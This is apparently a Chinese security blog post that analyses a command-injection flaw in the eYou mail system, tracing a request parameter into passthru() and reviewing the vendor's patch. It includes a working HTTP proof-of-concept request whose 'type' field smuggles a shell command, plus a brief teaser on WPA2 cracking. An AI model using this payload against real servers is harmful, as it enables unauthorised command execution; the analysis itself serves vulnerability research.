0x00 前言
北京亿中邮信息技术有限公司(亿邮)是一款专业的邮件系统软件及整体解决方案提供商。
亿邮电子邮件系统远程命令执行漏洞,攻击者利用该漏洞可在未授权的情况实现远程命令执行,获取目标服务器权限。
0x01 漏洞分析
刚拿到亿邮的代码,就简单看了下这次漏洞的成因,总的来说就是命令注入导致的命令执行漏洞,由于没动态调试,纯肉眼看难免会不当之处,敬请谅解。
漏洞起因在lib/php/ui/web/action/admin/em_controller_action_moni_detail.class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
public function action_do()
{
$action = $this->__request->get_request(‘action’, null);
switch ($action) {
case ‘gragh’: // 获取图像
$this->_get_graph();
break;
case ‘save_config’: // 保存用户配置
$this->_save_config();
break;
case ‘save_fav’: // 保存用户收藏配置
$this->_save_host_fav();
break;
case ‘zoom’:
return $this->json_stdout(array(‘res’ => 0, ‘data’ => array()));
break;
default:
$this->_php_assert(‘Location: em_controller_action_admin_notice_manager::action_default()’);
}
}
|
当传入的action参数为graph时,会进入到_get_graph函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
protected function _get_graph()
{
$cluster = $this->__request->get_request(‘cluster’, ”);
$hostname = $this->__request->get_request(‘hostname’, ‘elephant110’);
$type = $this->__request->get_request(‘type’, ‘cpu_report’);
$date_type = $this->__request->get_request(‘date_type’, ‘hour’);
$date_value = $this->__request->get_request(‘date_value’, ‘1’);
$columns = $this->__request->get_request(‘columns’, 2);
$size = $this->__request->get_request(‘size’, ‘small’);
require_once PATH_EYOUM_LIB . ’em_monitor.class.php’;
$graph = new em_monitor;
$condition = em_condition::factory(‘monitor’, ‘report:get_report’);
$condition->set_clustername($cluster);
$condition->set_hostname($hostname);
// 默认图形
switch ($type) {
case ‘cpu_report’:
case ‘mem_report’:
case ‘network_report’:
case ‘packet_report’:
case ‘load_report’:
$condition->set_graph($type);
break;
// metric 图形
default:
$condition->set_graph(‘metric’);
$condition->set_metricname($type);
break;
}
$size_array = $this->_get_recover_size($type);
$graph->set_graph_size($size_array);
$condition->set_size($size);
$start = em_monitor::get_start_timestamp($date_value . ‘ ‘ . $date_type);
$condition->set_start($start);
$condition->set_end(‘now’);
$graph->set_graph($condition);
$graph->set_debug(true);
$graph->draw();
}
|
这块代码是整个漏洞的核心,当传入type参数时会进入到switch选择,但是如果不为case列表中的参数,则会进入到default里面,最终进入到set_metricname函数,有经验的同学看到set起头的函数,应该都知道,这是一个用来给condition进行key-value赋值的函数,接着又将condition作为参数,通过set_graph的形式赋值给了graph的graph键,最后进行draw。
其实看到这里已经能够猜到了,最后的draw一定调用了执行命令的参数,并且是对condition参数进行了某种形式的拼接,从而产生的漏洞,那么带着这样的思路,进入到draw函数里面去看。
首先来看上面提到的set_graph函数,看看我们可控的type,继而控制的condition参数是如何进行赋值的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
|
public function set_graph(em_condition_adapter_monitor_report_get_report $condition)
{
$condition->check_params();
$clustername = $condition->get_clustername();
$hostname = $condition->get_hostname();
$metricname = $condition->get_metricname();
$graph = $condition->get_graph();
$title = $condition->get_title();
$size = $condition->get_size();
$start = $condition->get_start();
$end = $condition->get_end();
$uppper_limit = $condition->get_upper_limit();
$lower_limit = $condition->get_lower_limit();
$vlabel = $condition->get_vlabel();
$rrd_dir = $this->__rrd_datadir . “/$clustername/$hostname”;
// rrdtool 命令参数
$this->__graph[] = $this->__rrdtool;
$this->__graph[] = ‘graph -‘;
if (isset($start) && isset($end)) {
$this->__graph[] = “–start $start”;
$this->__graph[] = “–end $end”;
}
$profile = array();
$path = PATH_EYOUM_LIB . ‘monitor/em_monitor_adapter_’ . $graph . ‘.class.php’;
if (file_exists($path)) { // 内部 adapter
require_once $path;
$class = ’em_monitor_adapter_’ . $graph;
if (!class_exists($class)) {
throw new em_monitor_exception(gettext(‘get profile failure.’));
}
$class_object = new $class;
$method = ‘graph_’ . $graph;
$params = array(
‘size’ => $size,
‘graph_sizes’ => $this->__graph_sizes,
‘rrd_dir’ => $rrd_dir,
‘upper_limit’ => $uppper_limit,
‘lower_limit’ => $lower_limit,
‘vlabel’ => $vlabel,
‘metricname’ => $metricname,
);
$profile = $class_object->$method($params);
if (isset($title)) {
$profile[‘title’] = $title;
}
} else { // 插件
$params = array(
‘size’ => $size,
‘graph_sizes’ => $this->__graph_sizes,
‘rrd_dir’ => $rrd_dir,
);
$container = new stdClass();
$container->profile = array();
em_plugin_helper::import_plugin(‘monitor’);
em_event_helper::trigger(em_event_helper::property_factory(
‘on_init_monitor_graph’,
array(
$params,
$container,
)
));
if (empty($container->profile)) {
throw new em_monitor_exception(gettext(‘get profile failure.’));
}
$profile = $container->profile[$graph];
}
if (empty($profile)) {
throw new em_monitor_exception(gettext(‘get profile failure.’));
}
foreach ($profile as $key => $value) {
if (preg_match(‘/extras|series/’, $key)) {
continue;
}
if (preg_match(‘/W/’, $value)) {
//more than alphanumerics in value, so quote it
$value = “‘$value'”;
}
$this->__graph[] = “–$key $value”;
}
if (isset($profile[‘extras’])) {
$this->__graph[] = $profile[‘extras’];
}
if (!isset($profile[‘series’])) {
throw new em_monitor_exception(gettext(‘failed to get data.’));
} else {
$this->__graph[] = $profile[‘series’];
}
}
|
这里可以看到,首先通过get_metricname函数将我们赋值进行的type参数给取了出来,然后赋值给metricname变量,之后又通过调用lib/php/monitor/em_monitor_adapter_metric.class.php,这里为什么是em_monitor_adapter_metric.class.php,重点看上面是如何进行graph变量赋值的,还是switch函数最终进入到default,然后将condition[‘graph’]设置为metric,跟进到em_monitor_adapter_metric.class.php的graph_metric函数,在这个地方进行了profile的定义
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
public function graph_metric($params)
{
foreach ($params as $k => $v) {
$$k = $v;
}
$rrdtool_graph[‘title’] = $metricname;
$rrdtool_graph[‘height’] = $graph_sizes[$size][‘height’];
$rrdtool_graph[‘width’] = $graph_sizes[$size][‘width’];
if (isset($upper_limit) && is_numeric($upper_limit)) {
$rrdtool_graph[‘upper-limit’] = $upper_limit;
}
if (isset($lower_limit) && is_numeric($lower_limit)) {
$rrdtool_graph[‘lower-limit’] = $lower_limit;
}
if ($vlabel) {
// We should set $vlabel, even if it isn’t used for spacing
// and alignment reasons. This is mostly for aesthetics
$temp_vlabel = trim($vlabel);
$rrdtool_graph[‘vertical-label’] = strlen($temp_vlabel)
? $temp_vlabel
: ‘ ‘;
} else {
$rrdtool_graph[‘vertical-label’] = ‘ ‘;
}
// the actual graph…
$series = “DEF:’sum’=’$rrd_dir/$metricname.rrd:sum’:AVERAGE “;
$series .= “AREA:’sum’#$this->__default_metric_color:’$metricname’:STACK”;
$rrdtool_graph[‘series’] = $series;
return $rrdtool_graph;
}
|
其实只要看metricname即可,可以看到我们可以控制的type变量经过conditoin[‘metricname’],经过metricname,最后赋值给了rrdtool_graph[‘title’],并且这里比较关键的是如何进行字段拼接,重点看上面set_graph函数,rrdtool_graph作为return变量付给了profile,然后对profile的key/value进行检查,如果value为字符串,则用引号包裹,那么其实有点类似于”–title ‘$type'”这样,到这里已经有点水落石出的意思。
最后我们来到graph->draw函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
public function draw()
{
$command = implode(‘ ‘, $this->__graph);
/*Make sure the image is not cached*/
header (“Expires: Mon, 26 Jul 1997 05:00:00 GMT”); // Date in the past
header (“Last-Modified: “ . gmdate(“D, d M Y H:i:s”) . ” GMT”); // always modified
header (“Cache-Control: no-cache, must-revalidate”); // HTTP/1.1
header (“Pragma: no-cache”); // HTTP/1.0
if ($this->__debug) {
$fp = fopen(‘/tmp/monitor.log’, ‘w’);
fwrite($fp, $command . “n”);
fclose($fp);
}
header (“Content-type: image/gif”);
passthru($command);
}
|
通过空格进行切割,用passthru来执行command变量,看到这里,就应该能知道怎么执行命令了。通过查看/tmp/monitor.log也应证了我的猜想。
1
|
/usr/local/eyou/mail/opt/bin/rrdtool graph – —start 1618627792 —end now —title ‘$type’:STACK
|
所以这里的type就成功注入到执行的命令里去了。
0x02 漏洞测试
1
2
3
4
5
6
7
8
9
10
11
|
POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
Host: xx.com
User–Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept–Language: zh–CN,zh;q=0.8,zh–TW;q=0.7,zh–HK;q=0.5,en–US;q=0.3,en;q=0.2
Content–Type: application/x–www–form–urlencoded
Content–Length: 12
Connection: close
Upgrade–Insecure–Requests: 1
type=‘|id||’
|
0x03 补丁分析
简单看了下补丁的可执行文件,比较简单粗暴,将ui/web/action/admin/em_controller_action_admin_moni_setting.class.php ui/web/action/admin/em_controller_action_admin_moni_fav.class.php ui/web/action/admin/em_controller_action_admin_moni_detail.class.php三个文件都进行了删除,实际上如果你看这三个文件,会发现都有同样的命令注入问题,这么这么简单粗暴的修复也何尝不是一种解决办法。
0x04 后记
在分析过程中由于没有动态调试,有一点看的不是明白,那就是如何未授权这个点,在ui/web/action/admin/em_controller_action_admin_moni_setting.class.php这些文件中实际上都进行了权限认证
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
case ‘admin’:
if (false === $is_json) {
if (self::$not_login_user) {
$url_path = em_config::get(‘admin_url_name’);
$HTML =<<<ENDHTML
<html><head><meta http–equiv=“Content-Type” content=“text/html; charset=utf-8” /><script type=“text/javascript”>
<!—
var _location = window.location;
var _pathname = _location.pathname;
var _qs = _location.search;
if (–1 === _pathname.indexOf(“plugin”)) { // system
var qs = _location.search.substr(1).replace(/furl=[0-9a-zA-Z]*/g, “”);
var url = “?q=logout.do&furl=” + encodeURIComponent(qs);
alert(“${text}Code: 01”);
top.location = url;
} else { // plugin
alert(“${text}Code: 02”);
var url = “?q=logout.do&furl=” + encodeURIComponent(_pathname+_qs);
top.location = _location.protocol + “//” + _location.host + “/{$url_path}/” + url;
}
//–>
</script></head><body></body></html>
ENDHTML;
$this->get_response()->clear_body();
$this->get_response()->append_body($HTML,‘unlogin’);
return false;
}
if ($is_check_zone) {
return $this->check_zone($module, $is_json);
}
} else { // json格式
if (self::$not_login_user) {
$this->json_stdout(array(‘_login’ => 0));
return false;
}
if ($is_check_zone) {
return $this->check_zone($module, $is_json);
}
}
return true;
break;
|
这里根据笔者逻辑来走,应该是返回false,最终return空,导致下面的流程进行不下去,所以这点上还是有点不太明白,需要进一步结合整个框架源码深入分析。
这个是利用aircrack-ng进行WPA2的破解,现在无线密钥机制由最老的WEP变为现在的WPA2,针对WEP只要能够拿到足够多的IVS,利用其头部相似的信息就可以还原出密码,不过针对WPA2这种方法则不行。 目前主流的破解无线网密码都是利用抓握手包来暴力破…
请登录后发表评论
注册